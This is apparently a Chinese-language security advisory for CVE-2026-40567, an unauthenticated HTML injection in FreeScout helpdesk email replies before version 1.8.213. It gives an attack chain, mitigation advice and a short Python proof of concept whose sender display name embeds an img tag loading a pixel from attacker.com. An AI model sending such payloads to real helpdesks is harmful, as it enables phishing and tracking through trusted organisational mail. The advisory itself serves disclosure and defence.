IPBUF安全漏洞报告
English
CVE-2026-40567 CVSS 5.8 中危

CVE-2026-40567 FreeScout邮件HTML注入漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40567
漏洞类型
HTML注入
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

HTML注入FreeScout邮件安全无需认证网络安全

漏洞概述

FreeScout是一款免费的自托管帮助台软件。在1.8.213版本之前,系统存在一个安全漏洞,允许未经身份验证的攻击者通过发送带有恶意构造的“发件人”显示名称的电子邮件,将任意HTML代码注入到FreeScout生成的外发邮件中。该名称未经清理直接存储在数据库中,并在后续的回复邮件中未转义渲染。攻击者可利用此漏洞在合法的客服邮件中嵌入钓鱼链接或跟踪像素,实施社会工程学攻击。

技术细节

该漏洞的根源在于FreeScout系统在处理入站邮件头部的“From”显示名称时,缺少必要的输入清理和输出转义机制。当攻击者向FreeScout系统控制的邮箱发送电子邮件时,若将发件人显示名称字段设置为包含HTML标签(如`<img>`、`<a>`或`<script>`)的恶意字符串,系统会直接将此数据持久化存储到数据库中,而不进行任何安全过滤。随后,当客服人员通过FreeScout界面回复该工单时,系统会调用邮件模板变量`{%customer.fullName%}`来填充回复邮件中的客户称呼。由于该变量在渲染阶段未对HTML特殊字符进行实体编码,攻击者此前注入的恶意HTML代码将被浏览器或邮件客户端解析。这使得攻击者能够利用合法的组织邮箱发送包含钓鱼链接或恶意追踪像素的邮件,极大地增加了社会工程学攻击的成功率。

攻击链分析

STEP 1
步骤1:发送恶意邮件
攻击者向受影响的FreeScout系统邮箱发送一封电子邮件,将发件人显示名称设置为包含恶意HTML代码的字符串。
STEP 2
步骤2:数据存储
FreeScout接收邮件,并将未经清洗的“From”显示名称直接存储在数据库中。
STEP 3
步骤3:触发回复渲染
客服人员查看该工单并发送回复邮件。FreeScout系统生成回复邮件,并使用模板变量`{%customer.fullName%}`调用存储的名称。
STEP 4
步骤4:执行注入
由于系统未对变量进行HTML转义,恶意代码被直接渲染到发送给攻击者(或其他相关方)的回复邮件中,导致HTML注入生效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def send_poc_email(): # Configuration for the target FreeScout email target_email = "[email protected]" sender_email = "[email protected]" # Malicious 'From' display name containing HTML injection payload # This payload attempts to inject a tracking pixel or phishing link malicious_display_name = 'Test User <img src="http://attacker.com/track.png" onload="alert(1)">' # Create the email message msg = MIMEMultipart() msg['From'] = malicious_display_name msg['To'] = target_email msg['Subject'] = "Help needed: HTML Injection Test" body = "Hello, I have a question regarding your service." msg.attach(MIMEText(body, 'plain')) # Send the email try: # Note: Replace with actual SMTP server details for testing # server = smtplib.SMTP('smtp.example.com', 587) # server.starttls() # server.login(sender_email, "password") # server.send_message(msg) # server.quit() print(f"[+] Payload prepared: {malicious_display_name}") print("[+] If successful, the HTML will be rendered in FreeScout replies.") except Exception as e: print(f"[-] Error sending email: {e}") if __name__ == "__main__": send_poc_email()

影响范围

FreeScout < 1.8.213

防御指南

临时缓解措施
建议管理员立即将FreeScout升级到1.8.213或更高版本。如果暂时无法升级,应检查系统入站邮件处理逻辑,确保对发件人显示名称进行HTML实体编码或过滤,但这通常需要修改源代码。此外,应提高客服人员对可疑邮件内容的警惕性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表